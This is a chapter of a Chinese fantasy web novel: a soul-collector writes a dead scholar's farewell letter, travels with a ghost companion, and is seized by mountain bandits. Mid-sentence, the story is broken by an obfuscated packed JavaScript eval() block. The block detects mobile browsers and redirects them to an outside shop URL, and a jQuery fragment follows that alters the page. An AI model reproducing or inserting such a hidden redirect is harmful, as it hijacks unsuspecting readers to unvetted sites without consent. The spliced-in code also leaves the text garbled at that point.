月如钩，风轻柔。
辛芒忙了一天，好不容易闲下来，正翻着话本，外衣上挂着的葫芦忽然晃动起来，幽幽地泛着光。她放下书，与葫芦面对面，知道是余归醒了。
“多谢姑娘警醒。”他的声音从葫芦里透出来，比白日清明了许多。
辛芒只看着，没说话。
他又道：“小生家境贫寒，自幼受父母疼爱，生前却未能尽孝。姑娘，小生有一事相求，恳请您帮我送一封信给远在瀛湖的母亲，来世定当结草衔环以报。”
“什么信？”辛芒问，他那只书箧里的信早已碎成了渣。
“我未来得及写，想请姑娘代笔。”
辛芒备好纸笔，道：“说吧，要写什么。”
余归的声音淡淡流出，葫芦口缓缓升起缕缕红丝，在辛芒眼前铺展开来，像是替他说出了那些没能当面讲出口的话。
“慈鉴：儿不孝，奔途卒于狼山，距西州三千里有余，未能履约，深负厚望。今将消弭于无形，夜托恩星以相告，万勿挂牵，伏惟乞宥。愿托来世，复为子身，晨昏奉养，以报深恩。”
辛芒写完最后一个字，搁下笔：“令堂姓名？”
“家母姓挽，家住南州瀛湖柏村荇兰街金杏巷，人称挽大娘。”
“行。”辛芒摊开地形志看了看，瀛湖在南州之北、中州之南，毗邻璋城，与她规划的路线偏离不大，可以顺道跑一趟。
“正好顺路，明年此时会送去。”她把地址添上，又道，“四十九日后，你便可往生投胎。”
“叩谢姑娘。”余归的声音渐渐低了下去，葫芦重归平静。
夜色正浓，辛芒将信放在送给辛昭的信旁边，同样是日日擦拭。
戴耳许久没来，辛芒以为他气还没消，或者觉得她太难相处，大约再也不会回来了。
可她没想到，一个月后一个大清早，他忽然飘了进来，身上还带着晨露的清寒，悬在辛芒床头，不声不响。
这道无形的目光太过灼热，辛芒冷不丁睁眼，便对上他的“眼睛”，灰暗的，却无端感觉有光。辛芒不惊不喜，目光沿着他的魂身向下，停在他胸前的月印上，可能是月印太亮了吧？
“你干嘛？”她嗓音沙哑。
戴耳神色肃穆：“我想知道，你为什么总不来找我呢？”
辛芒困意未消，没听懂这个问题。戴耳已经接着说：“你明明看得见我，明知我不悦，为什么不来哄哄我呢？每回都是我巴巴儿地讨你欢心，我怀疑……你是不是对我做了什么？”
辛芒眼底带过一丝诧异，双眼因他亮得过分的月印又是眯又是皱眉的。她坐起来，一手撑着，领口斜着裂开，内里风光若隐若现，可她没注意到，只无奈地看着他：“你没事吧？”
“你回答我！”戴耳语气有些急，眼睛无意瞥见她胸口，慌张之下，月印更是狂亮。
“什么啊？”辛芒手足无措。“我能对你做什么？你是鬼啊，看不见摸不着的……”
“你能看见，也能摸，只是你不肯。”戴耳岔断她的话，强调那个“你”字。
辛芒说不出话，看了看自己戴着手套的双手，注意力又被他抢占：“辛芒，你愿意摸那个疯鬼，却不愿意摸我吗？”
室内沉静得不像话，戴耳终于移开了视线，方觉自己说得太旖旎，又隐隐期待她的答案，内心早已掠过许多念头。
谁知辛芒唇角微抽，说出的话竟让他如遭霜打：“你……有难言之隐？”
“什么？”这下轮到戴耳不明所以了，看着她笃定的眼神，月印霎时暗了。
“因为你不好意思直说，所以想让我自己探寻？”辛芒的回答也是疑问，神情淡定。
朦胧的情意瞬间化作实质，像结了一道冻得人发僵的冰墙，将二人分隔。
“或许是有的。”戴耳突然泄气，凑到她耳边，扔下一句模糊的话。“你真是块……跳脱的石头。”
来日方长，他总会弄明白的。
戴耳飘走了。
右耳冷冷的，辛芒揉了揉耳朵，觉着这鬼变得捉摸不透了，难道她猜错了吗？算了不想了，再睡会儿。
……
一年时间过得很快，孝期已过，辛芒挑了个好日子，适宜远行，便准备着出发，履行对养母和余归的诺言。
戴耳隔了多日才回来，一进门就看见她在收拾衣裳物件，随口问了句：“你要出远门啊？”
辛芒收东西的手顿住了，一瞬不瞬地看着他。这时心里忽然冒出一个念头，或许这就是她与他之间的缘分，经久不散。他总是挑她要做大事的时候凑过来，软磨硬泡也好，死皮赖脸也罢，总要缠着她，把她的一举一动都看在眼里——像个少不了的挂件。
她曾经问他：“你不觉得无聊么？”收魂的流程大同小异，每个鬼魂再怎么不同，看多了也不过如此。
他答：“不无聊啊，因为你不一样。”
“怎么说？”
“你每次收魂的表情都不一样，再细微的区别我都看得出。我觉得……跟着你能看遍这整个世界。”他说这话时声音很轻。“这就是我想要的。”
现在，他又准时出现在她面前了。心口那枚月印亮堂堂的，像他的心迹一样坦荡。他好像总能把自己安抚好，无论在她面前气得拂袖而去多少次，再出现时，又是一副阳光明媚的模样。
“怎么？被我的英俊折服啦？”他张扬地在她眼前晃了晃。
辛芒终于没忍住笑了出来，嘴上却毫不留情：“你是鬼，没有相貌，请你认清自己。”
他展开“双臂”，仰头望天，做出一副睥睨天下的姿态：“俊朗，是一种姿态。”
“你来干什么？”辛芒不跟他扯相貌的事，专心收拾包袱。
零零碎碎的铜钱加起来有五十两银子，省着点花，应当够作盘缠。衣裳和干粮装进背篓，两封信用不同颜色的布缠好，塞在最底下的隔层里。
“你要去哪儿？”戴耳凑过来问。
“中州，顺路去趟南州。”
“很远吧？是去收魂吗？”
“送信。”
“送信？”戴耳琢磨了一下。“你母亲牌位旁那封信是送去中州的，那为什么要去南州？”
辛芒给灶台和桌椅蒙上布，道：“送两封信。一封是余归的，替他交给他母亲。”
戴耳记起来了，是那个疯疯癫癫的书生。
“原来如此。”他“眼睛”一亮似的。“那你猜猜，我找你是为什么。”
“这用猜吗？”辛芒瞥了他一眼，心照不宣。
戴耳乐开了花：“没错没错，你去中州一定要带上我，你知道，我可是很有用的。”
“可我是白天赶路，你又照不了太阳，怎么跟？”辛芒两手一摊。
“这好说！”
他的魂化作一缕烟，在半空转了个圈，嗖的一下钻进了辛芒的发带里，还翘起一段尾巴摇了摇。
“看！这样就晒不到了……你会戴帽子的吧？”
戴耳牵着发带跳了两下，辛芒辫好的头发也跟着晃了晃。
动作这么利索，怎么感觉他是早有预谋呢？
但她没有把他揪出来，这便是默许了，“放心，晒不到。”
家里的一切都整顿妥当，辛芒对着辛桐的牌位磕了头，在门外挂了块木牌，上书：去外地，归期未定。
她戴上斗笠，背起背篓，踏出了远离家园的第一步。此去漫漫长路，幸而非孤身一人。
夏日炎炎。接连赶了几天的路，翻山越岭，辛芒已经累得没了心气。脚底板和膝盖像是受了重刑，双肩也被背篓的带子勒出了青紫的痕迹。不知从哪天开始，她心里翻来覆去只剩一句咒骂：该死的中州！天杀的破路！
后面的日子，戴耳是连头都不敢露的，辛芒身上的戾气比鬼还重，多说一句都要挨骂。他老老实实窝在发带里，尽可能降低自己的存在感。
好在，辛芒摊开地形志看了看，终于舒了口气：“翻过这座山就是清浦镇了，终于能歇一歇。”
“太好了！走快些，今晚就能住下。”戴耳赶紧捧哏。
辛芒睨了肩上的发带一眼，掩饰不住地讥讽：“哼，有时候真羡慕你们鬼啊，不用走不用晒，舒舒服服就到地方了。”
戴耳讨好道：“是啊是啊，做鬼最轻松了。劳累辛芒大人您带着我，我真是太不懂事了，合该三叩九拜以表感激才是。”
“噗——”辛芒没绷住笑了出来，边收地形志边叹，“你有没有发现你说话很搞笑？”
“我不是搞笑，是真心实意。多亏了您收留我，不然我还是孤魂野鬼一个，不知道飘到哪儿去呢。您就是我的再生之母啊！要是有肉身，我现在就给您磕头。”
“你是鬼儿子？”辛芒莫名气消了，继续往前走。
戴耳微笑：“您说是就是。”
两人有一搭没一搭地聊着，不知不觉便爬上了山坡。自上往下看，视野豁然开朗，一片
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17949626|214147||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
西州腹地少有的苍翠铺展在眼前，山间松叶的清香随风沁入肺腑，叫人身心都舒展开来。
可惜这舒坦没能持续多久。
四周忽然蹿出一群持刀的山匪，将她团团围住。为首一个皮肤黢黑的男人横刀指着她，念着烂熟的台词：“此路是我开，此树是我栽，要想过此路，留下买路财！”
大刀都快杵到她脸上了，刀身映着绿树蓝天。辛芒缩手缩脚地往后退，身后又一把刀抵上来，吓得她浑身一激灵。
她强迫自己镇定下来，拢紧外衣遮住腰间的铜钱串，努力挤出讨好的语气：“大哥，我的银子都在背篓里，我把背篓给您，求您饶我一命。”
戴耳在发带里急得不行：“你没了银子怎么投宿？不能给，我去打他们！”
辛芒一把攥紧头发，把他的冲动硬生生压了回去。
为首的山匪大笑，拿刀指了指她：“小娘子挺识相，比前几日那个懂事多了。”
他一挥手，手下人便抢过背篓，翻了翻，掂着钱袋看了看，又见辛芒一身粗布麻衣，他狐疑道：“银子不少啊，看你这样子也不像富贵人家，这钱你哪儿来的？别是偷的骗的吧？”
银子都到你手里了，还管是偷是骗？这话辛芒只敢在心里嘀咕，她庆幸自己把信藏得深，脸上仍是讨好的笑：“这、这都是我娘给的，让我投奔亲戚去。大哥，您行行好，放我走吧。“
“好人家的姑娘？”那山匪忽然话锋一转，抬手扯掉了辛芒的斗笠，盯着她的脸打量了好一会儿，摸着下巴点了点头，“模样生得不错，嘿嘿，献给大当家！带走！”
背篓被随手扔进了路边的草沟里，辛芒被押着往山上走。
戴耳被她死死压着，心急如焚：“你为什么拦我？我把他们打趴下，你趁机跑就是了。”
“不行。”辛芒语气很坚决。
“你说什么？”山匪回头，噙着一脸坏笑，“不行？你是没见过我们大当家，那相貌，我一个大男人都顶不住，多少女人倒贴都不够格。让你去给大当家瞧瞧，都是抬举你了，还不行，哼，等上了山，有你后悔的。”
辛芒缩着身子连连认错，手指却始终攥紧那根发带。
戴耳简直要抓狂了：“你都要被抓去当压寨夫人了！你当真一点功夫都不会吗？”
辛芒确实没辙，但凡会两手功夫，她也不至于半点反抗都没有。
此地是威水山，山匪四处设卡，专劫过路的百姓。
山寨建在一片挖平的空地上，数十间茅屋高高低低地立着，中央一座大屋最气派，门口还有守卫侍立。
那黢黑山匪与守卫打了个招呼，说了几句。门没有开，他便折回来，恶狠狠道：“先把人关柴房，等大当家醒了再说。”
辛芒被推进昏暗的柴房，门从外面落了锁。守门的小子还顺手抢走了她的葫芦，拎在手里晃了晃，嬉皮笑脸道：“这是装酒还是装水的？”他拔开塞子向下倒了倒，“啥也没有，归我了。”
看着就是个十三四岁的毛头小子，辛芒终于硬气了些，冷冷道：“我劝你不要乱动我的东西，我是收魂师，那葫芦就是我的法器，收过的鬼魂没有上千也有数百，要是到了夜里跑出那么几个来，我可不负责。”
“你是收魂师？”那小子将信将疑，却忽然觉得手里的葫芦烫得慌，还回去吧，丢了面子，留着吧，又实在害怕。磨蹭了好一会儿，他终于想出一个说辞，“那更不能还你了，你要是放鬼出来害人，那还得了？”
说完抱着葫芦撒腿就跑，不知找谁搬救兵去了。
辛芒趴在窗口探了又探，试了半天，根本看不清这寨子的全貌，窗洞窄得连头都伸不出去。她泄了气，找了个干净些的角落坐下，垂头丧气地发呆。
“出来吧。”她对着发带低声道。
戴耳飘了出来，悬在半空，凝视着她，怎么也想不明白她的打算。
“你一旦对活人动了手，就跟触犯天条一样，往后只会越来越想用蛮力害人，”辛芒看了他一眼，轻声解释，“我可不想现在就收了你。”
戴耳怔了怔，那股闷气顿时消了大半。他在她身旁“坐”下来，望着她：“原来你是担心我。可你怎么办呢？他们这么多人，你怎么逃？”
“我也不知道。”辛芒苦着脸，“这地方除了你，一个鬼影子都没有。”
要是有几个投胎无门的游魂，她还能驱策一二，可威水山阳气极旺，鬼魂都绕着走。戴耳待在这里，怕是也不舒坦。